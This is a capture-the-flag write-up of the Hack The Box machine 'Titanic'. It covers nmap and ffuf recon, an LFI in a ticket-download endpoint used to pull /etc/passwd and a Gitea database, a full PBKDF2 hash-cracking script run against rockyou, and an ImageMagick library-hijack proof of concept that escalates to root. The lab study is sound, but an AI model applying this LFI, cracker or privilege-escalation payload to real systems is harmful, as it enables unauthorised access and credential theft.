HTB - Titanic
Description
OS: Linux Difficulty: Easy
Recon
Nmap
nmap 10.129.204.19 -T5 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 20:18 EET
Nmap scan report for 10.129.204.19
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Aggressive OS guesses: Linux 5.0 (99%), Linux 5.0 - 5.4 (95%), HP P2000 G3 NAS device (93%), Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.1 (92%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (92%), Linux 3.7 (92%), Linux 5.0 - 5.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 62.31 ms 10.10.14.1
2 58.83 ms 10.129.204.19
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
Not much seems to be going on here, so it is safe to assume the initial foothold has to be web-exploit-based.
Website: http://titanic.htb
After adding the domain to /etc/hosts i noticed nothing much is going on the website end of the site either. Just some AI generated images and a form to fill. filling the form downloads a JSON file containing my inputs, so there has to be some way to escape it maybe?
after spending a good 30mins I suddenly realized that maybe it would be a good idea to fire up Burpsuite to take a look around.
Hmmmmmm.../download?ticket=6ec5fc7-5465-4a82-a03d-d55e439b4d5c.jsonseems pretty fishy...
lets try something.
As I suspected, this site is vulnerable to a basic LFI.
from the /etc/passwd we can figure out that there is one user, and they are named "developer"
with that information we can get the user flag.

Foothold
Typically id start gathering as much info as I can from a LFI at this point. using burp-suits intruder and a rfi-lfi-payload-list I didnt find anything that would give me the foothold i needed so i tried fuzzing for subdomains.
SIDE NOTE: Normally I'd use wfuzz, I have made the choice to only use FFUF after meeting the guy behind FFUF at Disobey 2025 and getting a s ticker from him. What a cool dude (WHAAAT?!) I'm still in shock.
okay not back to the writeup;
┌──(mcshoothy㉿._.)-[~/…/HTB/machines/ranked/titanic]
└─$ ffuf -w /usr/share/wordlists/wfuzz/DNS/subdomains-top1million-5000.txt -u "http://FUZZ.titanic.htb" -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.titanic.htb
:: Wordlist : FUZZ: /usr/share/wordlists/wfuzz/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 81ms]
:: Progress: [9985/9985] :: Job [1/1] :: 7692 req/sec ::
New subdomain dev reveals a Gitea page and with it, a mysql password
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: always
But more importantly the location of some files id like to get my hands on
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
we now know where the data for the gitea is stored. ((/home/developer/data)
lets get the gitea database from /home/developer/gitea/data/gitea/gitea.db using the same LFI as before.
opening the db: under USER we can find a hash for two users, administrator, and developer. alongside that we get the hash type and salt.
| Username | Status | Hash Algorithm | Iterations | Derived Key Length | Password Hash | |
|---|---|---|---|---|---|---|
| root | [email protected] | Enabled | PBKDF2-SHA256 | 50000 | 50 | cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136 |
| Salt | 2d149e5fbd1b20cf31db3e3c6a28fc9b | |||||
| developer | [email protected] | Enabled | PBKDF2-SHA256 | 50000 | 50 | e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 |
| Salt | 8bf3e3452b78544f8bee9400d6936d34 |
using a little scripting power mixed with some ChatGPT, we get this script that compares the hasher to rockyou.txt to see if we find a match.
import binascii
import hashlib
import concurrent.futures
from colorama import Fore, Style, init
import sys
import time
import argparse
# Initialize colorama
init(autoreset=True)
def pbkdf2_hash(password: str, salt: bytes, iterations: int = 50000, dklen: int = 50) -> bytes:
"""
Generate a PBKDF2-HMAC-SHA256 hash of the given password using the specified salt and iterations.
"""
return hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
def check_password(password: str, salt: bytes, target_hash_bytes: bytes, iterations: int, dklen: int, count: int) -> str:
"""
Check if the given password matches the target hash.
"""
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
sys.stdout.write(f"\r{Fore.CYAN}Checking password {count}: {password} ")
sys.stdout.flush()
if hash_value == target_hash_bytes:
sys.stdout.write(f"\n{Fore.GREEN}Found matching password: {password}{Style.RESET_ALL}\n")
return password
return None
def find_matching_password(dictionary_file: str, target_hash: str, salt: bytes, iterations: int = 50000, dklen: int = 50) -> str:
"""
Try to find a password in the dictionary that matches the given target hash using multithreading.
"""
target_hash_bytes = binascii.unhexlify(target_hash)
found_password = None
with open(dictionary_file, 'r', encoding='utf-8') as file:
# Start multithreading pool to process passwords concurrently
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = []
for count, line in enumerate(file, start=1):
password = line.strip()
futures.append(executor.submit(check_password, password, salt, target_hash_bytes, iterations, dklen, count))
# Wait for results and process
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
found_password = result
break
if found_password is None:
sys.stdout.write(f"{Fore.RED}Password not found.\n")
return found_password
# Argument parsing for dynamic input
def parse_arguments():
parser = argparse.ArgumentParser(description="PBKDF2 hash cracker")
parser.add_argument("dictionary_file", help="Path to the dictionary (wordlist) file.")
parser.add_argument("target_hash", help="The target PBKDF2 hash to crack.")
parser.add_argument("salt", help="The salt used in the PBKDF2 hash.")
parser.add_argument("--iterations", type=int, default=50000, help="Number of PBKDF2 iterations (default: 50000).")
parser.add_argument("--dklen", type=int, default=50, help="Length of the derived key (default: 50).")
return parser.parse_args()
# Example usage
if __name__ == "__main__":
# Parse command-line arguments
args = parse_arguments()
# Convert the salt from hex to bytes
salt = binascii.unhexlify(args.salt)
print(f"{Fore.YELLOW}Starting password search...\n")
start_time = time.time()
found_password = find_matching_password(args.dictionary_file, args.target_hash, salt, args.iterations, args.dklen)
end_time = time.time()
if found_password:
print(f"{Fore.GREEN}Password found: {found_password}")
print(f"{Fore.WHITE}Search completed in {end_time - start_time:.2f} seconds.")
python newscirpt.py /usr/share/wordlists/rockyou.txt e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 8bf3e3452b78544f8bee9400d6936d34 --iterations 50000
Starting password search...
Checking password 5623: 25282528
Found matching password: 25282528
using these credentials, we can log in to the server with a user account.
poking around a bit we find /opt/scripts/identify_images.sh
which blongs to root, but we have read permissions
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" |
xargs /usr/bin/magick identify >> metadata.log
not going to lie, it took me some time to figure out where this PE was taking me, but eventually I checked the version of the "magic" software
developer@titanic:/opt/scripts$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
and it was vulnerable to ACE using their POC
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt > /home/developer/root.txt");
exit(0);
}
EOF
by making a small change to the photos like so:
cp home.jpg 1.jpg
in /opt/app/static/assets/images we can trigger our exploit to copy the root flag from /root to the developers home directory.